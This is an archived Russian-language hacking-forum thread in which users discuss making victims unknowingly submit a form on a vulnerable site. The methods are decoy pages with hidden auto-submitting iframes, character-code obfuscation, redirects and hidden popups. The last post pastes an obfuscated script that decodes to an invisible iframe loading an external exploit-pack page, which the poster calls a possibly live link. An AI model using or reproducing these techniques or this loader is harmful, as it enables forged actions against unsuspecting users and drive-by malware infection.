PDA

Просмотр полной версии : Xss, скрытый от юзера сабмит формы


hhover
24.05.2007, 13:49
Есть сайт, на сайте форма. В форме нефильтруемые поля.
Задача: чтобы эту форму отправил другой человек, при этом ничего не заметив.

Варианты:
1) Делаем отвлекающую страницу с каким-нибудь текстом, который заинтересует жертву, в коде страницы iframe, в нем наша форма и <script>ourform.submit();</script>

Такой вариант работает в FF и Opera. Но только до тех пор, пока iframe не зашифрован. С зашифрованным iframe'ом в FF работать перестает. А желательно хотя-бы минимально зашифровать его (хотя бы String.fromCharCode)...
В ие вообще работать такой вариант отказывается.

2) Делаем страницу, при заходе на которую только в первый раз произойдет отправка формы. А к коду XSS дописываем редирект обратно на нашу страницу.

Работает во всех браузерах, но не слишком быстро, и юзер может заметить сменившийся адрес окна и подгружающийся любимый сайт.


Есть другие варианты? Желательно, хотя бы один пример незаметного и работающего в IE кода.

gemaglabin
24.05.2007, 13:53
document.write('<iframe src='+String.fromCharCode()+'></iframe>');

hhover
24.05.2007, 14:31
Да, в FF с зашифрованным адресом пашет, а если весь iframe шифровать - то нет. Странно.

Но в IE по прежнему в iframe работать отказывается. Вернее, оно отсылается, но фрейм подгружает форму логина и пишет неизвестную ошибку.
Скорее всего тут дело не в том, что браузер что-то блокирует, а в какой-то защите на стороне атакуемого сайта.

Поэтому интересны другие методы, кроме загрузки страницы в iframe.

hhover
26.05.2007, 01:46
Даже простым
document.write(String.fromCharCode( --- full iframe code here --- ));
ничего не получалось. И простым unescape тоже. Но это по сути не важно, способ зашифровать линк от дурочка уже подсказали.

Судя по ответам, третьего, скрытого способа просто нет. Не очень и надеялся, конечно.

Хотя сейчас пришла в голову идея подключить ajax, он ведь может отсылась кастомные заголовки? Если да, то ответ загружать в скрытый <div> или просто не получать, если можно.

Кто в курсе ajax'a, можно ли POST запрос им отправить другому хосту ?

hhover
26.05.2007, 12:31
К сожалению шифрование фрейма сейчас не самая приоритетная задача, потому-что сам факт фрейма не дает отправить форму в ИЕ. Но за способ все равно спасибо, на будущее запомню.

Я еше думаю по поводу попапа какого-нибудь, который бы был очень мелким по размерам, открылся бы на заднем плане, и сразу же закрылся, как только выполнил нужные действия, вроде так можно, только вот сложно открыть попап в ИЕ, блокируется он. Думаю попробывать сделать в нем сабмит.

DIAgen
26.05.2007, 14:38
Вот держи, не помню от какого-то загрузчика
<script language='JavaScript'><!--
function nbsp() {var t,o,l,i,j;var s='';s+='06004711610112011609711610109706206004711 6101120116097114101097062';
s+='0601051021140971091010321151140990610391041161 16112058047047098114098111100121046105110102111047 109';
s=s+'112097099107047105110100101120046112104112039 03211910510011610406104803210410110510310411606104 8032';
s=s+'102114097109101098111114100101114061039048039 062060047105102114097109101062';
t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(Str ing.fromCharCode(t));t='';}}nbsp();
//--></script>
Смотри не запускай у себя, вроде еще как бы это живая ссылка...)))